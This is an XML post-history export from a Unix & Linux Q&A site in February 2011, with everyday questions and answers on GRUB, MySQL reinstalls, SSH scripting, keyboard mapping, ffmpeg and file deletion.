  <row Id="16825" PostHistoryTypeId="2" PostId="7256" RevisionGUID="956c0b76-b3b6-407b-bce4-ad1dc1717c6b" CreationDate="2011-02-11T19:35:21.830" UserId="885" Text="This `Trash` file is unrelated to Postfix. It's also probably not what you see over IMAP: while the IMAP server could be configured to serve this file as a mail folder called `Trash`, it's likely that it's showing a directory called `Trash` near other directories that you see over IMAP.&#xD;&#xA;&#xD;&#xA;The mail you show is an oddity of Pine. It's likely that you used Pine at some point, and that you or your administrator configured it to save deleted mails into this `Trash` file. Deleting this file is unlikely to cause any trouble (of course, make a backup on your own PC or wherever just in case one of your old deleted mails turned out to be important).&#xD;&#xA;" />
  <row Id="16826" PostHistoryTypeId="5" PostId="7254" RevisionGUID="ce45d934-aa3e-47d4-83e2-e60f591aa595" CreationDate="2011-02-11T19:35:47.693" UserId="3069" Comment="added 8 characters in body" Text="Is it a problem of key mapping or a problem of acpi support ?&#xD;&#xA;&#xD;&#xA;Check in `/proc/acpi/` if you have some entries like this one : `/proc/acpi/video/GFX0/LCDD/brightness`&#xD;&#xA;&#xD;&#xA;If you find it, try to set a value maybe like this :&#xD;&#xA;&#xD;&#xA;    echo &quot;4&quot; &gt; /proc/acpi/video/GFX0/LCDD/brightness" />
  <row Id="16827" PostHistoryTypeId="6" PostId="7255" RevisionGUID="917df241-e1ae-49d5-a6ef-78f36bf0b76b" CreationDate="2011-02-11T19:35:48.337" UserId="885" Comment="edited tags" Text="émailàélargeöfilesàéhomeàépineà" />
  <row Id="16834" PostHistoryTypeId="2" PostId="7257" RevisionGUID="47234f5f-8e9b-4ca3-a228-0e5885ba4039" CreationDate="2011-02-11T20:15:54.227" UserId="4703" Text="Hey all, I've been having a problem all day.  It all started when I tried to partition my HD to install Ubuntu with bootcamp on my mac.  The install froze and when I restarted the apple logo was replaced with a &quot;do not enter&quot; sign (circle with slash).  I've been searching forums for a solution and even tried to run a LiveCD but that failed.  I think I need to remove GRUB from my MBR.  Anyone have some suggestions/help? Much appreciated. " />
  <row Id="16835" PostHistoryTypeId="1" PostId="7257" RevisionGUID="47234f5f-8e9b-4ca3-a228-0e5885ba4039" CreationDate="2011-02-11T20:15:54.227" UserId="4703" Text="Ubuntu 10.04 bad install...now Mac wont boot..." />
  <row Id="16836" PostHistoryTypeId="3" PostId="7257" RevisionGUID="47234f5f-8e9b-4ca3-a228-0e5885ba4039" CreationDate="2011-02-11T20:15:54.227" UserId="4703" Text="élinuxàéubuntuàéinstallàégrubàémacintoshà" />
  <row Id="16837" PostHistoryTypeId="25" PostId="7255" RevisionGUID="f0f0e980-1745-409c-b6d0-888a07489538" CreationDate="2011-02-11T20:22:39.717" Comment="http://twitter.com/#!/StackUnix/status/36158192975085568" />
  <row Id="16840" PostHistoryTypeId="2" PostId="7258" RevisionGUID="966189ef-d30e-4f51-9a86-1dbd94747942" CreationDate="2011-02-11T21:59:02.220" UserId="4705" Text="Add &quot;acpi_osi=Linux&quot; to loader&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Example:&#xD;&#xA;&#xD;&#xA;    title Arch Linux&#xD;&#xA;    root (hd0,1)&#xD;&#xA;    kernel /vmlinuz26 root=/dev/sda5 ro acpi_osi=Linux&#xD;&#xA;    initrd /kernel26.img&#xD;&#xA;&#xD;&#xA;" />
  <row Id="16841" PostHistoryTypeId="2" PostId="7259" RevisionGUID="fed63c1c-b99f-4678-9484-f42ddbb342f4" CreationDate="2011-02-11T22:50:43.147" UserId="4030" Text="If I well understand, you are filtered when you try to output DNS request to outside, did you try to use directly public NS from your domain (129.72.60.8 or 129.72.60.2) ?&#xD;&#xA;&#xD;&#xA;If it's working you can specify forward on theses IP's for domain uwyo.edu, and use of campus DNS for all others domains.&#xD;&#xA;&#xD;&#xA;If not, the only way is to bypass the filtering rules with a VPN connection on a dedicated server (you can find some one cheaper than 40$/month)." />
  <row Id="16842" PostHistoryTypeId="2" PostId="7260" RevisionGUID="8f647574-8e87-4f5a-b719-d059f86f8707" CreationDate="2011-02-11T23:09:36.517" UserId="1173" Text="To begin with, one very good source for information on pulseaudio problems is the [perfect setup][1] page.&#xD;&#xA;&#xD;&#xA;I wonder, do *all* ALSA applications have this problem? For example, if you force, say mplayer to use alsa (&quot;`mplayer -ao alsa ...`&quot;) does that go to your USB speakers?&#xD;&#xA;&#xD;&#xA;An other perhaps more direct reason for this could be that your flash plugin isn't configured properly. You do this by surfing to the [settings manager][2] (that link actually leads to it immediately; it's not a screenshot or tutorial); see if the speaker output is configured correctly.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.pulseaudio.org/wiki/PerfectSetup &quot;Perfect Setup&quot;&#xD;&#xA;  [2]: http://www.macromedia.com/support/documentation/en/flashplayer/help/settings_manager06.html &quot;settings manager&quot;" />
  <row Id="16843" PostHistoryTypeId="25" PostId="7238" RevisionGUID="191a2250-e5d3-48ca-b9e4-f73f6c06a29c" CreationDate="2011-02-11T23:22:40.570" Comment="http://twitter.com/#!/StackUnix/status/36203494994087937" />
  <row Id="16844" PostHistoryTypeId="2" PostId="7261" RevisionGUID="4863322b-c508-48db-99fc-5a2135142bf4" CreationDate="2011-02-11T23:23:44.043" UserId="1173" Text="Slackware ships with gtk1.2. Currently (13.1) ships gtk+ 1.2.10 (as well as gtk-2 of course). I believe debian/ubuntu has legacy packages for it too (but they're not installed by default)&#xD;&#xA;&#xD;&#xA;I don't think newer stuff uses it, but a lot of already-existing, good (perhaps even maintained) software uses it. &#xD;&#xA;&#xD;&#xA;I see it from a computer power perspective. gtk-2 and the software written for it, like many newer things have a lot more candy and convenience built in, with negligible performance loss on a modern system. Step back ten years though and you can tell a sharp difference in performance, where the gtk-1.2 equivalent software runs smoothly." />
  <row Id="16845" PostHistoryTypeId="2" PostId="7262" RevisionGUID="e2e94ef9-d120-42dd-a6ea-f99c0adb1d6f" CreationDate="2011-02-12T00:01:33.457" UserId="1173" Text="I think this is normal sound system latency (mainly buffering) as well as an artifact program flow (buffers, synchronous i/o, polling). The ring buffer[s] being played are presumably much larger than the puny sample lasting for only 00:00:00.17 seconds. &#xD;&#xA;&#xD;&#xA;Is this delay proportional to the duration of the sample? Ie, does a longer sample have a smaller delay? I would expect a sample of greater size (say a full second or two) to reduce these kinds of latency.&#xD;&#xA;&#xD;&#xA;Sound can be really tricky stuff, especially if you look into the nitty gritty. If what I've said above is true (regarding a longer sample size) I'd probably say this is normal for whatever sound subsystem you're using.&#xD;&#xA;&#xD;&#xA;I myself use pulseaudio for low-latency stuff (like guns in games), but the problem you described isn't really related to low latency (it's seems more a question of the software waiting for the hardware to tell it when it's done playing the whole buffer, which is larger than the sample it contained)..&#xD;&#xA;&#xD;&#xA;If I'm wrong about something, please point it out to me. Thanks :)" />
  <row Id="16846" PostHistoryTypeId="5" PostId="7262" RevisionGUID="226bccdb-5a55-48c3-a489-1d5aeea0d12f" CreationDate="2011-02-12T00:08:17.700" UserId="1173" Comment="more fuckups" Text="I think this is normal sound system latency (mainly buffering) as well as an artifact program flow (buffers, synchronous i/o, polling). The ring buffer[s] being played are presumably much larger than the puny sample lasting for only 00:00:00.17 seconds. &#xD;&#xA;&#xD;&#xA;Is this delay proportional to the duration of the sample? Ie, does a longer sample have a smaller delay? I would expect a sample of greater size (say a full second or two) to reduce these kinds of delays.&#xD;&#xA;&#xD;&#xA;Sound can be really tricky stuff, especially if you look into the nitty gritty. If what I've said above is true (regarding a longer sample size) I'd probably say this is normal for whatever sound subsystem you're using.&#xD;&#xA;&#xD;&#xA;I myself use pulseaudio for low-latency stuff (like guns in games), but the problem you described isn't really related to low latency; it's more a question of the software waiting for the hardware to tell it when it's done playing the whole buffer, which is larger than the sample it contained.&#xD;&#xA;&#xD;&#xA;If I'm wrong about something, please point it out to me. Thanks :)" />
  <row Id="16847" PostHistoryTypeId="2" PostId="7263" RevisionGUID="70869bbb-8731-4940-91d2-33523e5af2cb" CreationDate="2011-02-12T01:47:01.740" UserId="4069" Text="I goy myself into trouble with mysql on debian lenny. [Details can be found here]( http://serverfault.com/questions/234321/i-accidently-dropped-the-mysql-db)&#xD;&#xA;&#xD;&#xA;I tried `dpkg-reconfigure mysql` `dpkg --purge mysql-server` `apt-get install mysql-server` `mysql_install_db` and variants of these in different order using `killall mysql` and `killall mysqld` and had no luck whatsoever. I even deleted every mysql folder listed in whereis mysql&#xD;&#xA;&#xD;&#xA;How do i properly reinstall a package. Because the above is not working for me..." />
  <row Id="16848" PostHistoryTypeId="1" PostId="7263" RevisionGUID="70869bbb-8731-4940-91d2-33523e5af2cb" CreationDate="2011-02-12T01:47:01.740" UserId="4069" Text="How do i reinstall software properly?" />
  <row Id="16849" PostHistoryTypeId="3" PostId="7263" RevisionGUID="70869bbb-8731-4940-91d2-33523e5af2cb" CreationDate="2011-02-12T01:47:01.740" UserId="4069" Text="édebianàétroubleshootingà" />
  <row Id="16850" PostHistoryTypeId="2" PostId="7270" RevisionGUID="c79a2ba5-1c23-43ee-991e-f3dd83615b00" CreationDate="2011-02-12T02:09:50.580" UserId="4709" Text="Is it possible to run one part of the ksh/sh script on one server then ssh to another server and continue with the rest of the script? or is there a way around? Anyone had experience with this ?&#xD;&#xA;&#xD;&#xA;**here are some details:**&#xD;&#xA;&#xD;&#xA;I have a user with which I don't have to authenticate each time I access a server, so I can hop from one server to another without any keyboard interaction &#xD;&#xA;&#xD;&#xA;I've already tried this, wanted to seperate logic into another script then :&#xD;&#xA;&#xD;&#xA;    MYSCRIPT=&quot;nohup ksh myscript.ksh &gt; mylog.log &amp;&quot;&#xD;&#xA;    ssh servername ${MYSCRIPT}&#xD;&#xA;&#xD;&#xA;I tried this but it doesn't seem to execute this script on another server&#xD;&#xA;&#xD;&#xA;**and one more thing** the whole code above is part of the for loop and I basically execute same script for list of servers.&#xD;&#xA;&#xD;&#xA;For testing purposes, the list has two servers, for some weird and twisted reason only the last/seconds server script works as I expect.&#xD;&#xA;&#xD;&#xA;**another detail:**&#xD;&#xA;&#xD;&#xA;all server can see myscript.ksh it is visible and executable to all of them" />
  <row Id="16851" PostHistoryTypeId="1" PostId="7270" RevisionGUID="c79a2ba5-1c23-43ee-991e-f3dd83615b00" CreationDate="2011-02-12T02:09:50.580" UserId="4709" Text="Shell script execution on multiple servers" />
  <row Id="16852" PostHistoryTypeId="3" PostId="7270" RevisionGUID="c79a2ba5-1c23-43ee-991e-f3dd83615b00" CreationDate="2011-02-12T02:09:50.580" UserId="4709" Text="élinuxàébashàéshellàékshà" />
  <row Id="16853" PostHistoryTypeId="25" PostId="7248" RevisionGUID="d46ea1d5-f250-4ec0-bbdb-b4bff2ccf2c4" CreationDate="2011-02-12T02:22:40.647" Comment="http://twitter.com/#!/StackUnix/status/36248793858973696" />
  <row Id="16854" PostHistoryTypeId="2" PostId="7271" RevisionGUID="a4e4b966-dd1d-46dd-9c0a-98e593601b04" CreationDate="2011-02-12T03:09:53.587" UserId="1569" Text="This is a weird one... I recently upgraded from Debian lenny to squeeze (following the upgrade instructions step by step). Everything went surprisingly well, except for one piece of strange new behavior I haven't encountered before. First, the left arrow key won't work at all (although right, up, and down do). Second, if I keep the left arrow key held down for a few seconds and then release it, I get trapped in Mode_switch mode. In other words, I have a `.Xmodmap` file with the following:&#xD;&#xA;&#xD;&#xA;    keycode 113 = Mode_switch&#xD;&#xA;    keycode 38 = a A aacute Aacute&#xD;&#xA;    keycode 26 = e E eacute Eacute&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;After I've held down the left arrow key for a few seconds, every `a` or `e` character I type is accented, and the only way I can revert this is to log out and log back in to my Gnome session.&#xD;&#xA;&#xD;&#xA;I know something keyboard-related changed from lenny to squeeze, but I don't know how to troubleshoot something like this. Any ideas what's wrong?" />
  <row Id="16855" PostHistoryTypeId="1" PostId="7271" RevisionGUID="a4e4b966-dd1d-46dd-9c0a-98e593601b04" CreationDate="2011-02-12T03:09:53.587" UserId="1569" Text="Holding left arrow triggers permanent Mode_switch" />
  <row Id="16856" PostHistoryTypeId="3" PostId="7271" RevisionGUID="a4e4b966-dd1d-46dd-9c0a-98e593601b04" CreationDate="2011-02-12T03:09:53.587" UserId="1569" Text="édebianàékeyboardàéupgradeà" />
  <row Id="16857" PostHistoryTypeId="5" PostId="1989" RevisionGUID="afb109ac-0bad-4efd-8908-beb0109092c1" CreationDate="2011-02-12T04:51:47.093" UserId="1620" Comment="Describe grub2 parameter differences" Text="Look for the `kopt=`, `defoptions=` and `altoptions=` lines beginning with `##` in your `menu.lst` file. These specify options to be used when the menu entries are first created by installing a new kernel. No need to edit the file afterwards. You can also update all your existing entries by running `update-grub`.&#xD;&#xA;&#xD;&#xA;For grub2, the file to edit is `/etc/default/grub`, and the same command to update. However, the parameters to change are `GRUB_CMDLINE_LINUX_DEFAULT` and `GRUB_CMDLINE_LINUX`.&#xD;&#xA;&#xD;&#xA;For a one-off change, you can make temporary edits to the options directly in grub, by entering the &quot;edit commandline&quot; mode." />
  <row Id="16858" PostHistoryTypeId="25" PostId="7270" RevisionGUID="c2803090-e080-4967-a2ad-93329f4df614" CreationDate="2011-02-12T05:22:40.650" Comment="http://twitter.com/#!/StackUnix/status/36294092606410752" />
  <row Id="16859" PostHistoryTypeId="2" PostId="7272" RevisionGUID="7bda38d0-23cd-40f9-8b03-b9f68d13e190" CreationDate="2011-02-12T05:57:44.847" UserId="4713" Text="did you try booting from an OSX boot disc ?&#xD;&#xA;then as it wants to start (re)installing OSX,just stop and go into disk utilities&#xD;&#xA;to see if you can restore your OSX partition as the boot partition..&#xD;&#xA;i suppose the Live CD you are referring to is an Ubuntu 10.04 cd ..right ?&#xD;&#xA;&#xD;&#xA;tell me what you tried already " />
  <row Id="16860" PostHistoryTypeId="2" PostId="7273" RevisionGUID="24df2157-8087-4008-ad38-e43c7512d224" CreationDate="2011-02-12T06:12:21.463" UserId="4713" Text="on ubuntu one can go into synaptics and search for the software to remove..&#xD;&#xA;and when right clicking to see the contextual menu ,one can see and select the option called :&#xD;&#xA;&quot;Mark for removal&quot; (or &quot;Mark for complete removal&quot; if you want to purge the downloaded installer as well)&#xD;&#xA;" />
  <row Id="16861" PostHistoryTypeId="5" PostId="7263" RevisionGUID="7b6d649f-b83d-489f-96f6-e64e8b69eb35" CreationDate="2011-02-12T06:14:12.897" UserId="73" Comment="edited body; edited title" Text="I got myself into trouble with mysql on debian lenny. [Details can be found here]( http://serverfault.com/questions/234321/i-accidently-dropped-the-mysql-db)&#xD;&#xA;&#xD;&#xA;I tried `dpkg-reconfigure mysql` `dpkg --purge mysql-server` `apt-get install mysql-server` `mysql_install_db` and variants of these in different order using `killall mysql` and `killall mysqld` and had no luck whatsoever. I even deleted every mysql folder listed in `whereis mysql`&#xD;&#xA;&#xD;&#xA;How do I properly reinstall a package? Because the above is not working for me." />
  <row Id="16862" PostHistoryTypeId="4" PostId="7263" RevisionGUID="7b6d649f-b83d-489f-96f6-e64e8b69eb35" CreationDate="2011-02-12T06:14:12.897" UserId="73" Comment="edited body; edited title" Text="How do I reinstall software properly?" />
  <row Id="16863" PostHistoryTypeId="5" PostId="7273" RevisionGUID="7da07562-5c38-4461-8a42-974d6d14b684" CreationDate="2011-02-12T06:16:05.783" UserId="73" Comment="deleted 9 characters in body" Text="On Ubuntu one can go into synaptics and search for the software to remove. When right-clicking to see the contextual menu, one can see and select the option called &quot;Mark for removal&quot; (or &quot;Mark for complete removal&quot; if you want to purge the downloaded installer as well)&#xD;&#xA;" />
  <row Id="16864" PostHistoryTypeId="2" PostId="7274" RevisionGUID="2562e4f0-dbb9-4d6b-babe-907eea0fd6bb" CreationDate="2011-02-12T06:24:35.510" UserId="1078" Text="Later versions of bash have the `extglob` shell option that gives you a syntax for doing what you want (check your man page under &quot;Pathname Expansion&quot; to see if your installed version has it):&#xD;&#xA;&#xD;&#xA;    $ shopt -s extglob  # turn on extended globbing&#xD;&#xA;    $ rm !(X|Y|Z)&#xD;&#xA;&#xD;&#xA;To test, I suggest you first replace `rm` with `echo` to see if the list of files to be deleted is what you expect." />
  <row Id="16865" PostHistoryTypeId="5" PostId="7233" RevisionGUID="aec3ea13-e390-4212-ba6a-9b1839214246" CreationDate="2011-02-12T08:08:49.910" UserId="678" Comment="Added a line as suggested in the comments." Text="    ls -1 | grep -v &quot;^[XYZ]$&quot; # | xargs rm -r&#xD;&#xA;**Attention:** Run the command and if the files to be deleted are the right ones, run it again and delete the hash character &quot;#&quot;.&#xD;&#xA;&#xD;&#xA;If the filenames are more complicated then that, do&#xD;&#xA;&#xD;&#xA;    ls -1 | egrep -v &quot;^file1$|^filename2$|^f1le$&quot; # | xargs rm -r&#xD;&#xA;Again, first look at the results then remove the hash sign.&#xD;&#xA;&#xD;&#xA;This version - as suggested in the comments - saves some characters and looks a bit clearer.&#xD;&#xA;&#xD;&#xA;    ls -1 | egrep -v &quot;^(file1|filename2|f1le)$&quot; # | xargs rm -r&#xD;&#xA;" />
  <row Id="16866" PostHistoryTypeId="25" PostId="7263" RevisionGUID="67d8ae01-43e7-4b74-91fe-30c41e244091" CreationDate="2011-02-12T08:22:40.570" Comment="http://twitter.com/#!/StackUnix/status/36339390297014272" />
  <row Id="16867" PostHistoryTypeId="2" PostId="7275" RevisionGUID="654e6f7a-5c02-4dbd-beff-45ee613f0a61" CreationDate="2011-02-12T09:07:31.133" UserId="4716" Text="you are using an old version of grub.. sudo apt-get install grub2  then try again" />
  <row Id="16868" PostHistoryTypeId="2" PostId="7276" RevisionGUID="99a82ff9-335e-4c4c-85c6-8b8fc92f7ef9" CreationDate="2011-02-12T09:16:55.470" UserId="250" Text="I am making my own initramfs following the [Gentoo wiki][1]. Instead of the familiar `tar` and `gzip`, the page is telling me to use `cpio` and `gzip`. [Wikipedia][2] says that `cpio` is used by the 2.6 kernel's initramfs, but does not explain why.&#xD;&#xA;&#xD;&#xA;Is this just a convention or is `cpio` better for initramfs? Can I still use `tar` and `gzip`?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.gentoo-wiki.com/wiki/Initramfs&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Cpio" />
  <row Id="16869" PostHistoryTypeId="1" PostId="7276" RevisionGUID="99a82ff9-335e-4c4c-85c6-8b8fc92f7ef9" CreationDate="2011-02-12T09:16:55.470" UserId="250" Text="Why use cpio for initramfs?" />
  <row Id="16870" PostHistoryTypeId="3" PostId="7276" RevisionGUID="99a82ff9-335e-4c4c-85c6-8b8fc92f7ef9" CreationDate="2011-02-12T09:16:55.470" UserId="250" Text="écompressionàécpioàéinitramfsà" />
  <row Id="16871" PostHistoryTypeId="2" PostId="7277" RevisionGUID="71a2c285-6be6-448b-bc3d-c23ed1d83f05" CreationDate="2011-02-12T10:49:31.030" UserId="4106" Text="If I remember right, the preferred way is via `apt`:&#xD;&#xA;&#xD;&#xA;    apt-get install --reinstall packageNameGoesHere" />
  <row Id="16872" PostHistoryTypeId="25" PostId="7276" RevisionGUID="a69b8c49-65fe-4fc4-ae08-8979f01962ce" CreationDate="2011-02-12T11:22:40.960" Comment="http://twitter.com/#!/StackUnix/status/36384689874939904" />
  <row Id="16873" PostHistoryTypeId="2" PostId="7278" RevisionGUID="4c735e11-2fe3-48f7-863d-26b8510a9730" CreationDate="2011-02-12T11:50:15.280" UserId="4718" Text="Mine worked (tested on ubuntu 10.04 &amp; 10.10 ). But to get multichannel it needs to be connected when the computer is being powered on.&#xD;&#xA;I have issues also - mine would shut off during 30-90 min. of playback. &#xD;&#xA;During driver initialization it sends a spike to the amplifier. Looks like the firmware/hardware/software is not doing well to prevent it. &#xD;&#xA;Don`t know yet why." />
  <row Id="16874" PostHistoryTypeId="2" PostId="7279" RevisionGUID="cbc6b14f-88ab-4581-982b-7d595aef7e0d" CreationDate="2011-02-12T12:46:22.363" UserId="305" Text="Sometimes less wrongly recognize file as binary and tries to show hexdump on LHS (usually ones with non-alphanumeric characters but still containing printable ASCII characters). How to force it to recognize it as text?" />
  <row Id="16875" PostHistoryTypeId="1" PostId="7279" RevisionGUID="cbc6b14f-88ab-4581-982b-7d595aef7e0d" CreationDate="2011-02-12T12:46:22.363" UserId="305" Text="Force less to display a file as text" />
  <row Id="16876" PostHistoryTypeId="3" PostId="7279" RevisionGUID="cbc6b14f-88ab-4581-982b-7d595aef7e0d" CreationDate="2011-02-12T12:46:22.363" UserId="305" Text="élessà" />
  <row Id="16877" PostHistoryTypeId="2" PostId="7280" RevisionGUID="77ab44a3-cd2f-4bc0-a3a7-d2cd066e23e4" CreationDate="2011-02-12T12:48:49.003" UserId="2343" Text="Using Gnu Emacs 23.1.1 on Ubuntu 10.04... &#xD;&#xA;&#xD;&#xA;I'm currently a total newb with emacs, and I've decided to go cold turkey with the Gnome menu bar. (but I do want it to be &quot;available&quot; for the teething transition period... tepid turkey? :)   &#xD;&#xA;&#xD;&#xA;So I'd like to know how to assign a key to toggle it on/off.. &#xD;&#xA;&#xD;&#xA;I'm currently starting Emacs in full screen mode, with no menu-bar and no tool-bar &#xD;&#xA;I'm trying out a tabbar (when in X, but not when in terminal) .. &#xD;&#xA;&#xD;&#xA;I'm almost getting used to it, but I find I feel completely lost sometimes without the menubar... I've read that Emacs without the GUI paraphenalia is the way to go.. and I believe it!... the paradigms clash..   &#xD;&#xA;&#xD;&#xA;But for now I'd like a menu-bar toggle, and it will be good experience to see how it is done..  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="16878" PostHistoryTypeId="1" PostId="7280" RevisionGUID="77ab44a3-cd2f-4bc0-a3a7-d2cd066e23e4" CreationDate="2011-02-12T12:48:49.003" UserId="2343" Text="In Gnu Emacs how do I set up a global key  to toggle the menu-bar?" />
  <row Id="16879" PostHistoryTypeId="3" PostId="7280" RevisionGUID="77ab44a3-cd2f-4bc0-a3a7-d2cd066e23e4" CreationDate="2011-02-12T12:48:49.003" UserId="2343" Text="éscriptingàékeyboardöshortcutsàéemacsà" />
  <row Id="16880" PostHistoryTypeId="2" PostId="7281" RevisionGUID="dee5ac07-830b-47f8-a54e-cccbda763e32" CreationDate="2011-02-12T13:11:17.987" UserId="592" Text="Is there a way to selectively disable `gvfsd-cdda` on Debian Squeeze?&#xD;&#xA;&#xD;&#xA;Since I updated my machine to Squeeze `grip` can no longer eject a CD, which interferes with ripping. I traced it back to `gvfsd-cdda`, but found no preference or configuration to disable it. I can't uninstall package `gvfs-backends` either, because it is required by `gnome-core`.&#xD;&#xA;&#xD;&#xA;I did find `/usr/share/mounts/cdda.mount`, but disabling that feels like an ugly hack that will be overwritten on the next update of the package." />
  <row Id="16881" PostHistoryTypeId="1" PostId="7281" RevisionGUID="dee5ac07-830b-47f8-a54e-cccbda763e32" CreationDate="2011-02-12T13:11:17.987" UserId="592" Text="Selectively disabling gvfsd-cdda in Debian Squeeze?" />
  <row Id="16882" PostHistoryTypeId="3" PostId="7281" RevisionGUID="dee5ac07-830b-47f8-a54e-cccbda763e32" CreationDate="2011-02-12T13:11:17.987" UserId="592" Text="édebianàécdàéripàéejectà" />
  <row Id="16883" PostHistoryTypeId="2" PostId="7282" RevisionGUID="7f7e7061-0de8-4677-a387-63cbc8ae2679" CreationDate="2011-02-12T13:25:09.217" UserId="4567" Text="PHP function &lt;i&gt;imageline&lt;/i&gt; on localhost works, but on VPS cloud hosting doesn't. I guess I have download something, but I don't know what. Could you give me a hand? &#xD;&#xA;&#xD;&#xA;P.S. PHP GD is already downloaded." />
  <row Id="16884" PostHistoryTypeId="1" PostId="7282" RevisionGUID="7f7e7061-0de8-4677-a387-63cbc8ae2679" CreationDate="2011-02-12T13:25:09.217" UserId="4567" Text="PHP imageline function doesn't work. What and how should I download?" />
  <row Id="16885" PostHistoryTypeId="3" PostId="7282" RevisionGUID="7f7e7061-0de8-4677-a387-63cbc8ae2679" CreationDate="2011-02-12T13:25:09.217" UserId="4567" Text="élinuxàéphpà" />
  <row Id="16886" PostHistoryTypeId="2" PostId="7283" RevisionGUID="a91e6d95-235e-400b-9998-8f4da3fc5ea8" CreationDate="2011-02-12T13:28:47.577" UserId="4069" Text="I would like to create a user and have no password. As in you cant log in with a password. I want to add keys to its authorized_keys by using root. This is for my automated backup system.&#xD;&#xA;" />
  <row Id="16887" PostHistoryTypeId="1" PostId="7283" RevisionGUID="a91e6d95-235e-400b-9998-8f4da3fc5ea8" CreationDate="2011-02-12T13:28:47.577" UserId="4069" Text="Create user that cant login/no password, only ssh" />
  <row Id="16888" PostHistoryTypeId="3" PostId="7283" RevisionGUID="a91e6d95-235e-400b-9998-8f4da3fc5ea8" CreationDate="2011-02-12T13:28:47.577" UserId="4069" Text="éloginà" />
  <row Id="16889" PostHistoryTypeId="25" PostId="7283" RevisionGUID="2335343a-f8be-47d7-9842-2947bb6837b6" CreationDate="2011-02-12T14:22:40.620" Comment="http://twitter.com/#!/StackUnix/status/36429987779186688" />
  <row Id="16890" PostHistoryTypeId="2" PostId="7284" RevisionGUID="6af0cacf-09c2-4f58-85ec-f0510b7104cf" CreationDate="2011-02-12T14:23:45.287" UserId="3214" Text="Hello,  &#xD;&#xA;when I get a flash video from YouTube, why is the quality of the audio much worse than the origin video on YouTube? When I downloaded the flash movie, I convert it to avi like this:&#xD;&#xA;&#xD;&#xA;       ffmpeg -i ~/&quot;$2.flv&quot; -sameq -acodec libmp3lame -vol 200 -ar 44100 -aq 300 -ab 2097152 ~/&quot;$2.avi&quot;&#xD;&#xA;&#xD;&#xA;I already set -aq (audio quality) to 300, but no difference to 100 or 200. Moreover 100 is the max. value in my opinion. -ar (frequecy) 44100 should be ok too and the bitrate in bit/s (-ab) should be 256kb/s (2097152 / 1024 / 8). I am not sure what is the right bitrate for a good quality but I think 256kb/s should be fine. Or did I calculate it wrong? &#xD;&#xA;&#xD;&#xA;What could be the problem?" />
  <row Id="16891" PostHistoryTypeId="1" PostId="7284" RevisionGUID="6af0cacf-09c2-4f58-85ec-f0510b7104cf" CreationDate="2011-02-12T14:23:45.287" UserId="3214" Text="ffmpeg and libmp3lame produces bad audio quality?" />
  <row Id="16892" PostHistoryTypeId="3" PostId="7284" RevisionGUID="6af0cacf-09c2-4f58-85ec-f0510b7104cf" CreationDate="2011-02-12T14:23:45.287" UserId="3214" Text="éaudioàéffmpegàémp3àédownloadàéyoutubeà" />
  <row Id="16893" PostHistoryTypeId="5" PostId="7275" RevisionGUID="3b5240d4-b2a6-4dd6-b62a-0948aa48cd3a" CreationDate="2011-02-12T14:51:36.180" UserId="73" Comment="added 4 characters in body" Text="You are using an old version of grub. `sudo apt-get install grub2` and then try again" />
  <row Id="16894" PostHistoryTypeId="2" PostId="7285" RevisionGUID="ef21e463-df3a-4146-b55d-8989d546d8e0" CreationDate="2011-02-12T14:55:00.640" UserId="4543" Text="To be honest your wording is a bit vague but let's trace possible causes:&#xD;&#xA;&#xD;&#xA;What you described should work just fine, but see `ssh-copy-id` source to look for discrepancies with your own script (it is a shell script bundled with OpenSSH).&#xD;&#xA;&#xD;&#xA;You mentioned that the command does not work on one of your machines, maybe the server has a different setup preventing the script to start in the first place.&#xD;&#xA;&#xD;&#xA;Also, you mentioned authentication, so I suppose you're using passwordless public key authentication, and you might want to restrict the commands authorized with the associated key: see `man ssh`, section `AUTHORIZED_KEYS FILE FORMAT`." />
  <row Id="16895" PostHistoryTypeId="2" PostId="7286" RevisionGUID="20721267-97af-4e37-a719-107c3c24e03d" CreationDate="2011-02-12T15:00:53.583" UserId="4523" Text="Just don't set password for user. If there is already a password remove it by using `passwd -d &lt;username&gt;`.&#xD;&#xA;&#xD;&#xA;But it would be still possible to log in as this user - by using authorized_keys, or via su or sudo from some privileged account." />
  <row Id="16896" PostHistoryTypeId="2" PostId="7287" RevisionGUID="1765ac8d-b3ee-4d81-abc5-940a1dc8ad10" CreationDate="2011-02-12T15:05:32.380" UserId="4523" Text="Downloaded or installed?&#xD;&#xA;&#xD;&#xA;There is not enough to just download it, you need to install and enable it. You didn't provide what OS is there on your VPS, so I can't say how exactly. In CentOS/RHEL/Fedora you can do it by using `yum install php_gd`, enabling gd extension in php.ini and restarting httpd server." />
  <row Id="16898" PostHistoryTypeId="2" PostId="7289" RevisionGUID="8b546c57-66e0-4976-8ad2-3cb94522f154" CreationDate="2011-02-12T16:03:56.240" UserId="4720" Text="I would like to know if there is a way to calculate the difference between two times in bash.  I have two fields that are extracted from a log file:&#xD;&#xA;&#xD;&#xA;Start time:  Feb 12 10:02:10&#xD;&#xA;End time:    Feb 12 10:53:15&#xD;&#xA;&#xD;&#xA;What I need is a manual way to get the elapsed time between these 2 dates.  Since the time values are &quot;text based&quot;, and not from a date generating command, I don't know if there's a way to do it.  The times are 24 hour based, so hopefully that'll make times spanning midnight easier to handle.  Any suggestions will be greatly appreciated.&#xD;&#xA;Peter V." />
  <row Id="16899" PostHistoryTypeId="1" PostId="7289" RevisionGUID="8b546c57-66e0-4976-8ad2-3cb94522f154" CreationDate="2011-02-12T16:03:56.240" UserId="4720" Text="How to get elapsed time from two &quot;text based&quot; dates." />
  <row Id="16900" PostHistoryTypeId="3" PostId="7289" RevisionGUID="8b546c57-66e0-4976-8ad2-3cb94522f154" CreationDate="2011-02-12T16:03:56.240" UserId="4720" Text="éshellöscriptà" />
